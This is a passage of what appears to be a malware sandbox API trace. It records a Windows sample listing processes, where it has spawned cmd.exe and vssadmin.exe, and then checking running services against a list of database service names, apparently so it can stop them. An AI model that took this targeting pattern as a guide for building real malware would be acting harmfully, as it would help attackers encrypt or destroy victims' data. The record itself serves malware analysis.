lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0050.938] lstrlenW (lpString="burner.exe") returned 10 [0050.938] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0050.939] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0050.939] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0050.940] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0050.940] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0050.940] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0050.940] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0050.941] lstrlenW (lpString="cmd.exe") returned 7 [0050.941] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0050.942] lstrlenW (lpString="conhost.exe") returned 11 [0050.942] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0050.942] lstrlenW (lpString="vssadmin.exe") returned 12 [0050.942] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0050.943] lstrlenW (lpString="VSSVC.exe") returned 9 [0050.943] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.943] lstrlenW (lpString="svchost.exe") returned 11 [0050.944] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0050.944] CloseHandle (hObject=0x184) returned 1 [0050.944] Sleep (dwMilliseconds=0x1f4) [0051.536] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x59ff00 [0051.537] EnumServicesStatusExW (in: hSCManager=0x59ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 0 [0051.537] GetLastError () returned 0xea [0051.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x142e) returned 0x3f90098 [0051.538] EnumServicesStatusExW (in: hSCManager=0x59ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f90098, cbBufSize=0x142e, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f90098, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 1 [0051.538] CloseServiceHandle (hSCObject=0x59ff00) returned 1 [0051.538] lstrlenW (lpString="Appinfo") returned 7 [0051.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0051.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0051.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0051.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0051.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0051.539] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0051.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.539] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0051.539] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0051.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0051.539] lstrlenW (lpString="AudioSrv") returned 8 [0051.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0051.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0051.539] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0051.539] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0051.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0051.539] lstrlenW (lpString="BFE") returned 3 [0051.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0051.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0051.539] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0051.539] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0051.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0051.539] lstrlenW (lpString="CryptSvc") returned 8 [0051.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0051.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0051.539] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0051.539] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0051.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0051.539] lstrlenW (lpString="CscService") returned 10 [0051.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0051.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0051.539] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0051.540] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0051.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0051.540] lstrlenW (lpString="DcomLaunch") returned 10 [0051.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.540] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0051.540] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0051.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0051.540] lstrlenW (lpString="Dhcp") returned 4 [0051.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0051.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0051.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0051.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0051.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0051.540] lstrlenW (lpString="Dnscache") returned 8 [0051.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0051.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0051.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0051.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0051.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0051.540] lstrlenW (lpString="DPS") returned 3 [0051.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0051.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0051.540] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0051.540] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0051.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0051.540] lstrlenW (lpString="eventlog") returned 8 [0051.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0051.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0051.540] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0051.540] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0051.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0051.540] lstrlenW (lpString="EventSystem") returned 11 [0051.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0051.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0051.541] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0051.541] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0051.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0051.541] lstrlenW (lpString="FontCache") returned 9 [0051.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0051.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0051.541] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0051.541] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0051.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0051.541] lstrlenW (lpString="gpsvc") returned 5 [0051.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0051.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0051.541] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0051.541] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0051.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0051.541] lstrlenW (lpString="iphlpsvc") returned 8 [0051.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.541] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0051.541] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0051.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0051.541] lstrlenW (lpString="LanmanServer") returned 12 [0051.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0051.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0051.541] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0051.541] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0051.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0051.541] lstrlenW (lpString="LanmanWorkstation") returned 17 [0051.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.541] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0051.541] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0051.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0051.542] lstrlenW (lpString="lmhosts") returned 7 [0051.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0051.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0051.542] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0051.542] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0051.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0051.542] lstrlenW (lpString="MMCSS") returned 5 [0051.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0051.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0051.542] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0051.542] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0051.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0051.542] lstrlenW (lpString="MpsSvc") returned 6 [0051.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0051.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0051.542] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0051.542] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0051.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0051.542] lstrlenW (lpString="Netman") returned 6 [0051.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0051.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0051.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0051.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0051.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0051.542] lstrlenW (lpString="netprofm") returned 8 [0051.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0051.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0051.542] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0051.542] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0051.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0051.542] lstrlenW (lpString="NlaSvc") returned 6 [0051.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0051.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0051.543] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0051.543] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0051.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0051.543] lstrlenW (lpString="nsi") returned 3 [0051.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0051.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0051.543] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0051.543] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0051.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0051.543] lstrlenW (lpString="PcaSvc") returned 6 [0051.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0051.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0051.543] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0051.543] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0051.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0051.543] lstrlenW (lpString="PlugPlay") returned 8 [0051.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0051.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0051.543] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0051.543] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0051.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0051.543] lstrlenW (lpString="Power") returned 5 [0051.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0051.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0051.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0051.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0051.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0051.543] lstrlenW (lpString="ProfSvc") returned 7 [0051.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0051.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0051.543] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0051.543] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0051.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0051.543] lstrlenW (lpString="RpcEptMapper") returned 12 [0051.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.544] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0051.544] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0051.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0051.544] lstrlenW (lpString="RpcSs") returned 5 [0051.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0051.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0051.544] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0051.544] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0051.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0051.544] lstrlenW (lpString="SamSs") returned 5 [0051.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0051.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0051.544] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0051.544] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0051.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0051.544] lstrlenW (lpString="Schedule") returned 8 [0051.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0051.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0051.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0051.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0051.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0051.544] lstrlenW (lpString="SENS") returned 4 [0051.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0051.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0051.544] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0051.544] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0051.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0051.544] lstrlenW (lpString="ShellHWDetection") returned 16 [0051.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.545] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0051.545] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0051.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0051.545] lstrlenW (lpString="Spooler") returned 7 [0051.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0051.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0051.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0051.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0051.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0051.545] lstrlenW (lpString="sppsvc") returned 6 [0051.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0051.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0051.545] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0051.545] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0051.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0051.545] lstrlenW (lpString="swprv") returned 5 [0051.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0051.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0051.545] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0051.545] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0051.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0051.545] lstrlenW (lpString="SysMain") returned 7 [0051.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0051.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0051.545] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0051.545] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0051.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0051.545] lstrlenW (lpString="Themes") returned 6 [0051.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0051.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0051.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0051.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0051.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0051.546] lstrlenW (lpString="TrkWks") returned 6 [0051.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0051.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0051.546] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0051.546] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0051.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0051.546] lstrlenW (lpString="UxSms") returned 5 [0051.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0051.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0051.546] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0051.546] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0051.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0051.546] lstrlenW (lpString="VSS") returned 3 [0051.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0051.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0051.546] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0051.546] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0051.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0051.546] lstrlenW (lpString="WdiServiceHost") returned 14 [0051.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.546] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0051.546] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0051.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0051.546] lstrlenW (lpString="WdiSystemHost") returned 13 [0051.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.546] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0051.546] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0051.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0051.546] lstrlenW (lpString="WinDefend") returned 9 [0051.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0051.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0051.546] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0051.547] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0051.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0051.547] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0051.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.547] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0051.547] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0051.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0051.547] lstrlenW (lpString="Winmgmt") returned 